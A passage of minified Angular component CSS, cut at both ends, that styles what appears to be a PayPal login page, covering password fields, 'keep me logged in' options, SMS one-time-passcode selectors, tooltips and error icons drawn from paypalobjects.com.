no-repeat;background-size:72px;height:72px}.overlayDetailsTitle[_ngcontent-%COMP%]{text-align:left;font-size:15px!important;font-weight:700;margin:10px 0 5px}.overlayDetailsList[_ngcontent-%COMP%]{text-align:left;margin:0 0 0 20px}.checkboxContainer[_ngcontent-%COMP%]{position:relative;display:table}.checkboxInput[_ngcontent-%COMP%]{margin:0;padding:0;height:25px;width:25px;vertical-align:middle;opacity:0}.checkboxLabel[_ngcontent-%COMP%]{display:table-cell;vertical-align:middle;padding-left:10px;line-height:1.35em}.checkboxLabel[_ngcontent-%COMP%]:before{content:"";position:absolute;top:0;left:0;width:25px;height:25px;background:url(https://www.paypalobjects.com/images/shared/sprite_forms_2x.png) -9px 0;background-size:40px}.checkboxInput[_ngcontent-%COMP%]:checked + .checkboxLabel[_ngcontent-%COMP%]:before{background-position:-9px -400px}.checkboxInput[_ngcontent-%COMP%]:focus + .checkboxLabel[_ngcontent-%COMP%]:before{background-position:-9px -4601px}.checkboxInput[_ngcontent-%COMP%]:checked:focus + .checkboxLabel[_ngcontent-%COMP%]:before{background-position:-9px -4801px}.errorCheckbox[_ngcontent-%COMP%] + .checkboxLabel[_ngcontent-%COMP%]:before{background-position:-9px -5001px}.checkboxMoreInfo[_ngcontent-%COMP%]{display:table-cell;vertical-align:top}.maskable[_ngcontent-%COMP%]{position:relative}.keepMeLogin[_ngcontent-%COMP%]{margin:14px 0 24px}.keepMeLogin[_ngcontent-%COMP%] .tagLine[_ngcontent-%COMP%]{margin:0;padding:0 15px 0 35px;font-size:13px}.keepMeLoginAbout[_ngcontent-%COMP%]{position:relative;display:inline-block;margin:2px 0 0 10px;width:20px;height:20px;text-indent:-999em;direction:ltr;background-position:0 0}.keepMeLoginAbout[_ngcontent-%COMP%]:focus{background-position:0 -100px}.keepMeLoginAbout[_ngcontent-%COMP%]:active{background-position:0 -200px}.keepMeLoginTerms[_ngcontent-%COMP%]{padding:0 15px 0 35px;font-size:13px;line-height:17px}.keepMeLoginTermsShow[_ngcontent-%COMP%]{display:block}.keepMeLoginTerms[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin:10px 0}.keepMeLoginTerms[_ngcontent-%COMP%] [_ngcontent-%COMP%]:last-of-type{margin-bottom:0}.no-js[_ngcontent-%COMP%] .keepMeLoginTerms[_ngcontent-%COMP%]{display:block}.phonePresentNoSibling[_ngcontent-%COMP%]:after{display:none}.forgotLink[_ngcontent-%COMP%]{margin:20px 0;text-align:center;border-bottom:0}.forgotLink[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]{border:1px solid #009cde;position:absolute;background:#f6fdff;font-size:1em;font-family:Helvetica,Arial,sans-serif;color:#2c2e2f;text-shadow:0 1px #fff;border-radius:5px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;text-align:left;width:64%;z-index:2;margin:2% 8%;padding:2%;font-size:12px}.forgotLink[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:before{border-color:transparent transparent #009cde;border-style:dashed solid;border-width:7px;position:absolute;left:50%;top:-14px;z-index:1;content:""}.forgotLink[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:after{border-color:transparent transparent #f6fdff;border-style:dashed solid;border-width:7px;position:absolute;left:50%;top:-12px;z-index:2;content:""}*[_ngcontent-%COMP%]{box-sizing:border-box}.forgotLinkNoSibling[_ngcontent-%COMP%]{margin:14px 0 0;padding-bottom:0;border-bottom:0;font-size:.86666667em}.tryPasswordless[_ngcontent-%COMP%]{margin-top:10px}.injectedSignin[_ngcontent-%COMP%] .corral[_ngcontent-%COMP%]{width:100%;margin:0;padding:0}.injectedUlLayout[_ngcontent-%COMP%] .flc-panel[_ngcontent-%COMP%]{position:fixed;bottom:0;right:0}.notYouLogin[_ngcontent-%COMP%]{word-wrap:break-word;max-width:90%}.notYouLogin[_ngcontent-%COMP%] + .icon[_ngcontent-%COMP%]{top:-8px}.show-hide-password[_ngcontent-%COMP%]{background:0 0;border:0;color:#0079ad;cursor:pointer;position:absolute;margin:auto;font-size:13px;font-family:pp-sans-big-medium,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}#passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] .fieldWrapper[_ngcontent-%COMP%]{display:flex;border:1px solid #9da3a6;border-radius:4px}#passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] .fieldWrapper[_ngcontent-%COMP%]:hover, #passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] .fieldWrapper[_ngcontent-%COMP%]:active{border:.0625rem solid #009cde}#passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .textInput.hasError[_ngcontent-%COMP%] .fieldWrapper[_ngcontent-%COMP%]{border:1px solid #e00200}#passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] input[_ngcontent-%COMP%], #passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%] textarea[_ngcontent-%COMP%]{border:0}#passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .show-hide-password[_ngcontent-%COMP%]{position:inherit;top:0;border-radius:5px}#passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .show-hide-password[_ngcontent-%COMP%]:focus, #passwordSection.showHideButtonForEligibleBrowser[_ngcontent-%COMP%] .show-hide-password[_ngcontent-%COMP%]:active{outline:0;background-color:#fff}.lower-than-ie10[_ngcontent-%COMP%] .show-hide-password[_ngcontent-%COMP%]{bottom:-5px}.hasError[_ngcontent-%COMP%] .show-hide-password[_ngcontent-%COMP%]{display:none}.pad-right[_ngcontent-%COMP%]{padding-right:45px!important}.tel-password[_ngcontent-%COMP%]{-webkit-text-security:disc}header[_ngcontent-%COMP%] h1[_ngcontent-%COMP%]{text-align:center;margin-bottom:20px}.loginSignUpSeparator[_ngcontent-%COMP%]{border-top:1px solid #cbd2d6;position:relative;margin-top:4.72%;height:15px;text-align:center}.loginSignUpSeparator[_ngcontent-%COMP%] .textInSeparator[_ngcontent-%COMP%]{background-color:#fff;padding:0 .5em;position:relative;color:#6c7378;top:-.7em}.adjustSeparator[_ngcontent-%COMP%]{margin-bottom:25px}.slideUp[_ngcontent-%COMP%]{overflow:hidden;max-height:0;padding-top:0;padding-bottom:0;margin-top:0;margin-bottom:0;transition-duration:.3s;transition-timing-function:cubic-bezier(0,1,.5,1)}.slideDown[_ngcontent-%COMP%]{transition-duration:.3s;transition-timing-function:ease-in;max-height:500px;overflow:hidden}.no-js[_ngcontent-%COMP%] .slideUp[_ngcontent-%COMP%]{overflow:visible;max-height:500px}.splitEmail[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%], .splitPassword[_ngcontent-%COMP%] .textInput[_ngcontent-%COMP%]{margin-bottom:8px}.invisiblePwd[_ngcontent-%COMP%]{height:0!important;width:0!important;overflow:hidden;opacity:0;position:fixed;bottom:0;right:0}.profileDisplayName[_ngcontent-%COMP%]{font-size:18px;text-align:center;font-family:HelveticaNeue-Medium,"Helvetica Neue Medium",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.profileRememberedEmail[_ngcontent-%COMP%], .ssoInterstitialProfileRememberedEmail[_ngcontent-%COMP%], .otpDisplayCredentials[_ngcontent-%COMP%]{margin-bottom:4.72%;text-align:center;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.profileRememberedEmail[_ngcontent-%COMP%] .profileDisplayEmail[_ngcontent-%COMP%], .ssoInterstitialProfileRememberedEmail[_ngcontent-%COMP%] .profileDisplayEmail[_ngcontent-%COMP%], .otpDisplayCredentials[_ngcontent-%COMP%] .profileDisplayEmail[_ngcontent-%COMP%], .profileRememberedEmail[_ngcontent-%COMP%] span[_ngcontent-%COMP%], .ssoInterstitialProfileRememberedEmail[_ngcontent-%COMP%] span[_ngcontent-%COMP%], .otpDisplayCredentials[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;vertical-align:top;padding-right:10px;max-width:300px;display:inline-block;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:grayscale}.profileRememberedEmail[_ngcontent-%COMP%] .notYouLink[_ngcontent-%COMP%], .ssoInterstitialProfileRememberedEmail[_ngcontent-%COMP%] .notYouLink[_ngcontent-%COMP%], .otpDisplayCredentials[_ngcontent-%COMP%] .notYouLink[_ngcontent-%COMP%], .profileRememberedEmail[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .ssoInterstitialProfileRememberedEmail[_ngcontent-%COMP%] a[_ngcontent-%COMP%], .otpDisplayCredentials[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{display:inline-block}.bold[_ngcontent-%COMP%]{font-weight:700}.forcedSignupContainer[_ngcontent-%COMP%]{display:flex;justify-content:center}.forcedSignupContainer[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{margin-right:10px}.optionalSignupContainer[_ngcontent-%COMP%]{margin-top:10px}.optionalSignupContainer[_ngcontent-%COMP%] a[_ngcontent-%COMP%]:first-child{margin-right:10px;padding-right:10px;border-right:1px solid #ccc}.profileIcon[_ngcontent-%COMP%]{margin:0 auto 10px;width:100px;height:100px;border-radius:50%}.profilePhoto[_ngcontent-%COMP%]{background-color:#f2f2f2;background-size:cover}.profilePlaceHolderImg[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/images/shared/icon_profile_placeholder@2x.png);background-size:55px;background-repeat:no-repeat;background-position:22px 19px;background-color:#f7f9fa;border:1px solid #d4d9dc}.profileInitials[_ngcontent-%COMP%]{font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:2em;text-align:center;line-height:85px;background:#f2f2f2;box-shadow:0 0 1px #999;text-shadow:1px 1px 1px #fff}.rememberProfile[_ngcontent-%COMP%]{margin:10px 0 20px}.rememberProfile[_ngcontent-%COMP%] label[_ngcontent-%COMP%]{text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;vertical-align:top;padding-right:10px;padding-top:1px;max-width:300px;display:inline-block}.rememberProfile[_ngcontent-%COMP%] .infoLink[_ngcontent-%COMP%]{position:relative;cursor:pointer}.rememberProfile[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]{margin:7px 0 0;padding:8px 12px;border:1px solid #009cde;position:absolute;background:#f6fdff;font-size:1em;font-family:Helvetica,Arial,sans-serif;color:#2c2e2f;text-shadow:0 1px #fff;border-radius:5px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;width:280px;z-index:10}.rememberProfile[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:before{border-color:transparent transparent #009cde;border-style:dashed solid;border-width:7px;position:absolute;left:50px;top:-14px;z-index:9;content:""}.rememberProfile[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:after{border-color:transparent transparent #f6fdff;border-style:dashed solid;border-width:7px;position:absolute;left:50px;top:-12px;z-index:10;content:""}.keychainMessage[_ngcontent-%COMP%]{margin:12px 0!important}.educationMessage[_ngcontent-%COMP%]{padding:12px 12px 12px 47px;margin:12px 8% 0;background-color:#fff;border:1px solid #009cde;box-shadow:0 2px 4px rgba(0,0,0,.1);border-radius:5px}.educationMessage[_ngcontent-%COMP%] .messageContainer[_ngcontent-%COMP%]{position:relative}.educationMessage[_ngcontent-%COMP%] .messageContainer[_ngcontent-%COMP%]:before{content:"";background:url(https://www.paypalobjects.com/images/shared/icon-sprite2-2x.png) no-repeat;background-size:20px;width:18px;height:18px;position:absolute;top:3px;left:-30px;background-position:-1px -401px;background-color:#fff;border-radius:100px}.lower-than-ie9[_ngcontent-%COMP%] .educationMessage[_ngcontent-%COMP%] .messageContainer[_ngcontent-%COMP%]:before{background-image:url(https://www.paypalobjects.com/images/shared/icon-sprite2-1x.png)}.educationMessage[_ngcontent-%COMP%] .iconCloseEducation[_ngcontent-%COMP%]{position:absolute;right:-20px;font-size:17px;color:#fff;cursor:pointer;text-decoration:none}.educationMessage[_ngcontent-%COMP%] p[_ngcontent-%COMP%], .educationMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{color:#2c2e2f;font-family:HelveticaNeue;font-size:15px;line-height:1.6;text-align:left;margin:0}.educationMessage[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{color:#0070ba;font-weight:500}.publicCredentialToggle[_ngcontent-%COMP%]{margin:20px 0;text-align:center;border-bottom:0}.moreOptionsDiv[_ngcontent-%COMP%]{margin-top:20px}.moreoptionsGroup[_ngcontent-%COMP%]{list-style-type:none;text-align:left}.moreoptionsGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%]{padding:7px 0;font-size:.9em}.moreoptionsGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%]:not(:last-child){border-bottom:solid;border-bottom-width:.5px;border-bottom-color:#ddd}.tpdDemo[_ngcontent-%COMP%]{text-align:center;margin:7px 0 0;border:1px solid #009cde;position:absolute;background:#f6fdff;font-size:1em;font-family:Helvetica,Arial,sans-serif;color:#2c2e2f;text-shadow:0 1px #fff;border-radius:5px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;text-align:left;width:100%;z-index:2;padding:2%;font-size:12px}.tpdDemo[_ngcontent-%COMP%] .tpdDemoContent[_ngcontent-%COMP%]{margin:10px}.tpdDemo[_ngcontent-%COMP%]:before{border-color:transparent transparent #009cde;border-style:dashed solid;border-width:7px;position:absolute;left:50%;top:-14px;z-index:1;content:""}.tpdDemo[_ngcontent-%COMP%]:after{border-color:transparent transparent #f6fdff;border-style:dashed solid;border-width:7px;position:absolute;left:50%;top:-12px;z-index:2;content:""}.moreOptionsDiv[_ngcontent-%COMP%]{text-align:center}.moreOptionsDiv[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]{left:35%;margin:7px 0 0;padding:8px 12px;border:1px solid #009cde;position:absolute;background:#f6fdff;font-size:1em;font-family:Helvetica,Arial,sans-serif;color:#2c2e2f;text-shadow:0 1px #fff;border-radius:5px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;width:60%;z-index:10}.moreOptionsDiv[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:before{border-color:transparent transparent #009cde;border-style:dashed solid;border-width:7px;position:absolute;left:50px;top:-14px;z-index:9;content:""}.moreOptionsDiv[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:after{border-color:transparent transparent #f6fdff;border-style:dashed solid;border-width:7px;position:absolute;left:50px;top:-12px;z-index:10;content:""}.passwordInstead[_ngcontent-%COMP%]{text-align:center}.passwordInstead[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]{left:10%;margin:7px 0 0;padding:8px 12px;border:1px solid #009cde;position:absolute;background:#f6fdff;font-size:1em;font-family:Helvetica,Arial,sans-serif;color:#2c2e2f;text-shadow:0 1px #fff;border-radius:5px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;width:90%;z-index:10}.passwordInstead[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:before{border-color:transparent transparent #009cde;border-style:dashed solid;border-width:7px;position:absolute;left:120px;top:-14px;z-index:9;content:""}.passwordInstead[_ngcontent-%COMP%] .bubble-tooltip[_ngcontent-%COMP%]:after{border-color:transparent transparent #f6fdff;border-style:dashed solid;border-width:7px;position:absolute;left:120px;top:-12px;z-index:10;content:""}@media all and (max-width: 767px){.profileIcon[_ngcontent-%COMP%]{width:75px;height:75px}.profilePlaceHolderImg[_ngcontent-%COMP%]{background-size:41px;background-position:17px 15px}.moreoptionsGroup[_ngcontent-%COMP%] li[_ngcontent-%COMP%]{padding:5px 0;font-size:.9em}}.cookiedProfile[_ngcontent-%COMP%]{text-align:left;margin-bottom:10px;height:44px;width:100%;padding:12px 10px 12px 5px;border:1px solid #9da3a6;background:#fff;text-overflow:ellipsis;box-sizing:border-box;border-radius:4px;box-shadow:none;color:#6c7378;font-size:1em;font-family:Helvetica,Arial,sans-serif;font-weight:400;direction:ltr;background-color:#f7f9fa}.cookiedProfile[_ngcontent-%COMP%] .notYouLink[_ngcontent-%COMP%]{background:0 0;border:0;color:#0079ad;cursor:pointer;position:absolute;right:8px;top:14px;font-size:13px}.rtlFpPlaceholder[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-webkit-input-placeholder{padding:30px}.rtlFpPlaceholder[_ngcontent-%COMP%] [_ngcontent-%COMP%]:-moz-placeholder{padding:30px}.rtlFpPlaceholder[_ngcontent-%COMP%] [_ngcontent-%COMP%]::-moz-placeholder{padding:30px}.rtlFpPlaceholder[_ngcontent-%COMP%] [_ngcontent-%COMP%]:-ms-input-placeholder{padding:30px}.errorMessageFp.hasError[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{background-position:99% -402px;background-position:top -402px right 40px}.textInputMask.email.maskEnabled[_ngcontent-%COMP%]{position:absolute;width:100%;height:100%;background-color:#fff;font-size:1em;display:flex;flex-direction:row;padding-left:10px;padding-right:10px;justify-content:center;align-items:center}.textInputMask.email.maskEnabled[_ngcontent-%COMP%] .maskDisplay[_ngcontent-%COMP%]{margin-right:10px}.recoveryOption[_ngcontent-%COMP%]{position:relative;display:inline-block;margin-top:0}.forgotPassword[_ngcontent-%COMP%]{display:inline-block;margin:0 0 16px}.signUpLink[_ngcontent-%COMP%]{margin:60px 0}.signUpLink[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin-bottom:5px}.signUpLink[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:550}.otpLogin[_ngcontent-%COMP%] .mobileNumbers[_ngcontent-%COMP%]{padding-bottom:30px}.otpLogin[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%]{height:56px;border:1px solid #9da3a6;z-index:101;left:0;width:100%;direction:ltr;border-radius:5px}.otpLogin[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%] select[_ngcontent-%COMP%]{position:relative;height:44px;width:100%;border:0;background:0 0;opacity:0;z-index:1;direction:ltr}.otpLogin[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%] .selectedPhoneChallenge[_ngcontent-%COMP%]{position:relative;text-align:left;bottom:40px;left:12px;height:44px;display:table;width:100%}.otpLogin[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%] .selectedPhoneChallenge[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{padding:0;margin:0}.otpLogin[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%] .selectedPhoneChallenge[_ngcontent-%COMP%]:after{content:"";position:absolute;top:3px;right:25px;height:8px;width:8px;margin:8px 0 0 8px;border-color:#333;-o-border-image:none;border-image:none;border-style:solid;border-width:1px 1px 0 0;transform:rotate(135deg)}.otpPrimary[_ngcontent-%COMP%] p[_ngcontent-%COMP%], .otpPrimary[_ngcontent-%COMP%] div[_ngcontent-%COMP%], .otpPrimary[_ngcontent-%COMP%] span[_ngcontent-%COMP%], .otpPrimary[_ngcontent-%COMP%] h1[_ngcontent-%COMP%], .otpPrimary[_ngcontent-%COMP%] label[_ngcontent-%COMP%], .otpPrimary[_ngcontent-%COMP%] select[_ngcontent-%COMP%]{font-family:pp-sans-big-regular,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal}.otpPrimary[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{font-family:pp-sans-big-medium,Helvetica Neue,Arial,sans-serif;font-weight:400;font-feature-settings:normal;font-variant:normal;font-size:15px;border-radius:25px;height:48px}.otpPrimary[_ngcontent-%COMP%] .secondaryLink[_ngcontent-%COMP%]{margin:16px 0 0;font-weight:700;font-size:16px}.otpPrimary[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-top:23px}.otpPrimary[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{padding:0 0 16px;font-size:32px;text-align:center}.otpLoginPrimary[_ngcontent-%COMP%] .paypal-logo[_ngcontent-%COMP%]{margin-top:42px;margin-bottom:32px}.otpLoginPrimary[_ngcontent-%COMP%] .logoSpacing[_ngcontent-%COMP%]{margin-top:90px}.otpLoginPrimary[_ngcontent-%COMP%] .headerText[_ngcontent-%COMP%]{padding-left:10%;padding-right:10%;margin-top:18px}.otpLoginPrimary[_ngcontent-%COMP%] .mobileNumbers[_ngcontent-%COMP%]{padding-bottom:24px}.otpLoginPrimary[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%]{height:56px}.otpLoginPrimary[_ngcontent-%COMP%] .maskedPhoneNumber[_ngcontent-%COMP%]{position:absolute;width:287px;height:24px;top:11px;font-size:16px}.otpLoginPrimary[_ngcontent-%COMP%] .selectPhoneChallenges[_ngcontent-%COMP%] .selectedPhoneChallenge[_ngcontent-%COMP%]:after{top:9px;margin-right:10px}.otpLoginPrimary[_ngcontent-%COMP%] .smsDisclaimer[_ngcontent-%COMP%]{font-size:14px;margin-top:24px}.otpLoginPrimary[_ngcontent-%COMP%] .contentContainerBordered[_ngcontent-%COMP%]{padding-top:0;border-radius:12px}@media all and (max-width: 767px){.otpLoginPrimary[_ngcontent-%COMP%] .contentContainerBordered[_ngcontent-%COMP%]{margin-top:0}}.otpLoginPrimary[_ngcontent-%COMP%] .otpDisplayCredentials[_ngcontent-%COMP%]{display:flex;margin-bottom:0;width:100%;background:#f6f6f6;font-size:16px;padding:16px;justify-content:center;position:absolute}.otpLoginPrimary[_ngcontent-%COMP%] .otpDisplayCredentials[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:700;text-align:right;white-space:nowrap}.otpLoginPrimary[_ngcontent-%COMP%] .forgotLink[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-size:16px}.otpLoginSmsIcon[_ngcontent-%COMP%]{display:inline-block;background-image:url(https://www.paypalobjects.com/images/unifiedLogin/otpLoginSms.png);background-repeat:no-repeat;background-position:center top;height:62px;width:48px;margin-bottom:10px}.maskedNumber[_ngcontent-%COMP%]{font-size:20px}.maskedNumber[_ngcontent-%COMP%]:before{background-image:url(https://www.paypalobjects.com/paypal-ui/icons/svg/mobile.svg);background-repeat:no-repeat;background-size:100%;filter:invert(25%) sepia(99%) saturate(1686%) hue-rotate(185deg) brightness(96%) contrast(101%);width:24px;height:24px;display:inline-block;content:" ";position:relative;top:5px;right:4.71px}.otp-error-logo[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/paypal-ui/illustrations/svg/warning.svg);background-repeat:no-repeat;background-size:100%;width:82px;height:82px;margin:0 auto 20px;overflow:hidden;white-space:nowrap}.otp-logo-warning[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/paypal-ui/illustrations/svg/warning.svg);background-repeat:no-repeat;background-size:100%;width:82px;height:82px;margin:0 auto 20px;overflow:hidden;white-space:nowrap}.otp-logo-critical[_ngcontent-%COMP%]{background-image:url(https://www.paypalobjects.com/paypal-ui/illustrations/svg/critical.svg);background-repeat:no-repeat;background-size:100%;width:82px;height:82px;margin:0 auto 20px;overflow:hidden;white-space:nowrap}.otpErrorPage[_ngcontent-%COMP%]{margin-top:50%;margin-bottom:40%}.otpLoginViaLink[_ngcontent-%COMP%]{text-align:center;margin-top:16px}.otpLoginViaLink[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:550;margin-left:8px}.otpLoginViaLink[_ngcontent-%COMP%]:before{background-image:url(https://www.paypalobjects.com/images/unifiedLogin/otpLoginSms.png);background-repeat:no-repeat;background-size:14px;width:14px;height:18px;display:inline-block;content:" ";position:relative;top:3px}.otpLoginViaButton[_ngcontent-%COMP%] > .button[_ngcontent-%COMP%]{text-align:center;margin-top:16px;background-color:#fff;color:#0070ba;border:1px solid #0070ba;transition:color .2s ease,background-color .2s ease,border-color .2s ease,box-shadow .2s ease}.otpLoginViaButton[_ngcontent-%COMP%] > .button[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-weight:550;margin-left:8px}.otpLoginViaButton[_ngcontent-%COMP%] > .button[_ngcontent-%COMP%]:before{background-image:url(https://www.paypalobjects.com/images/unifiedLogin/otpLoginSms.png);background-repeat:no-repeat;background-size:14px;width:14px;height:18px;display:inline-block;content:" ";position:relative;top:3px;left:5px;margin-right:10px}.otpLoginViaButton[_ngcontent-%COMP%] > .button[_ngcontent-%COMP%]:hover{background:0 0;border-color:#003087;box-shadow:inset 0 0 0 .0625rem #003087;color:#003087}.notVisible[_ngcontent-%COMP%]{visibility:hidden}.hidden[_ngcontent-%COMP%]{display:none}@-webkit-keyframes slide-down{0%{opacity:0;-webkit-transform:translateY(-100%)}to{opacity:1;-webkit-transform:translateY(0)}}a.geoRedirectUrl[_ngcontent-%COMP%]{cursor:pointer}a.authorize.button[_ngcontent-%COMP%]{display:none;margin:25px auto 0;width:150px}.no-js[_ngcontent-%COMP%] a.authorize.button[_ngcontent-%COMP%]{display:block}#venmo-transition-container[_ngcontent-%COMP%] > p[_ngcontent-%COMP%]{text-align:center;padding-left:50px;padding-right:50px;margin-top:20px;font-size:120%;color:#6c7378}#venmo-transition-container[_ngcontent-%COMP%]{vertical-align:middle;display:table-cell}.setupContainer[_ngcontent-%COMP%]{display:table;position:absolute;height:75%;width:100%}.header[_ngcontent-%COMP%]{box-shadow:0 1px 4px -2px #6c7378}.browserIcon[_ngcontent-%COMP%]{background-repeat:no-repeat;background-size:100px 100px;height:100px;width:100px;display:block;margin:0 auto}.venmoHeader[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/checkout/venmo/paypal_venmo.png) no-repeat;background-size:269px 30px;height:45px;width:269px;display:block;margin:20px auto}.iconFontAttention[_ngcontent-%COMP%]{display:block;position:relative;padding:0;margin-bottom:30px;height:100px}.iconFontAttention[_ngcontent-%COMP%]:before{content:"\\e025";margin-top:-25px;position:absolute;top:0;right:0;bottom:0;left:0;line-height:100px;font-size:125px;color:orange}.headerTextGenericError[_ngcontent-%COMP%]{padding-bottom:12px}@media all and (max-width: 767px){.genericError[_ngcontent-%COMP%]{padding-top:70px}}.recipient[_ngcontent-%COMP%], .sender[_ngcontent-%COMP%], .genericHeader[_ngcontent-%COMP%]{font-size:22px;word-wrap:break-word;line-height:1.4}.receiver[_ngcontent-%COMP%], .requestee[_ngcontent-%COMP%]{font-size:15px;padding:15px 30px 5px}.requestedLabel[_ngcontent-%COMP%], .currencySymbol[_ngcontent-%COMP%], .currencyCode[_ngcontent-%COMP%], .note[_ngcontent-%COMP%]{font-size:16px}.currencySymbol[_ngcontent-%COMP%], .currencyCode[_ngcontent-%COMP%]{font-size:18px}.amountValue[_ngcontent-%COMP%]{font-size:40px}.currencySymbol[_ngcontent-%COMP%]{padding-right:5px;vertical-align:40%}.currencyCode[_ngcontent-%COMP%]{vertical-align:middle}.noteWrapper[_ngcontent-%COMP%]{max-width:100%;position:relative;display:inline-block;margin-top:8px}.noteWrapper[_ngcontent-%COMP%]:before, .noteWrapper[_ngcontent-%COMP%]:after{content:\'"\';position:absolute;font-size:16px;top:4px}.noteWrapper[_ngcontent-%COMP%]:before{left:0}.noteWrapper[_ngcontent-%COMP%]:after{right:0}.note[_ngcontent-%COMP%]{width:100%;padding:0 6px;display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.forgotLinkLast[_ngcontent-%COMP%]{border-bottom:0;margin-bottom:0;padding-bottom:0}.uneditableEmail[_ngcontent-%COMP%]{margin-top:0;text-align:center;font-size:20px;font-family:HelveticaNeue-Medium,"Helvetica Neue Medium",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}.withoutRecovery[_ngcontent-%COMP%]{margin-top:30px;padding-top:30px;border-top:1px solid #cbd2d6}.withExplicitRecovery[_ngcontent-%COMP%]{border-top:1px solid #cbd2d6;padding-top:25px}.returnToMerchant[_ngcontent-%COMP%]{text-align:right;margin:0;padding:20px 15px 20px 0;border-bottom:1px solid #e1e7eb;position:relative}.returnToMerchant[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#009cde;padding-right:40px;font-size:13px;display:inline-block;height:18px;background:#fff;background:rgba(0,0,0,0)}.iconCloseCustomized[_ngcontent-%COMP%]:before{font-size:17px;position:absolute;right:15px;top:29px;z-index:-1}@media all and (max-width: 767px){.returnToMerchant[_ngcontent-%COMP%]{border:0}.returnToMerchant[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{opacity:0;padding-right:0;width:16px;overflow:hidden}}.fpOptIn[_ngcontent-%COMP%] h1[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] h1[_ngcontent-%COMP%]{font-size:28px;margin-top:12px;padding-bottom:8px;text-align:center;line-height:36px}.fpOptIn[_ngcontent-%COMP%] .headerIconThumbprint[_ngcontent-%COMP%], .fpLogin[_ngcontent-%COMP%] .headerIconThumbprint[_ngcontent-%COMP%]{background:url(https://www.paypalobjects.com/images/shared/fingerprint-paypal.png) no-repeat top center;background-size:96px 96px;width:96px;height:96px;margin:0 auto}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2){.fpOptIn[_ngcontent-%COMP%] 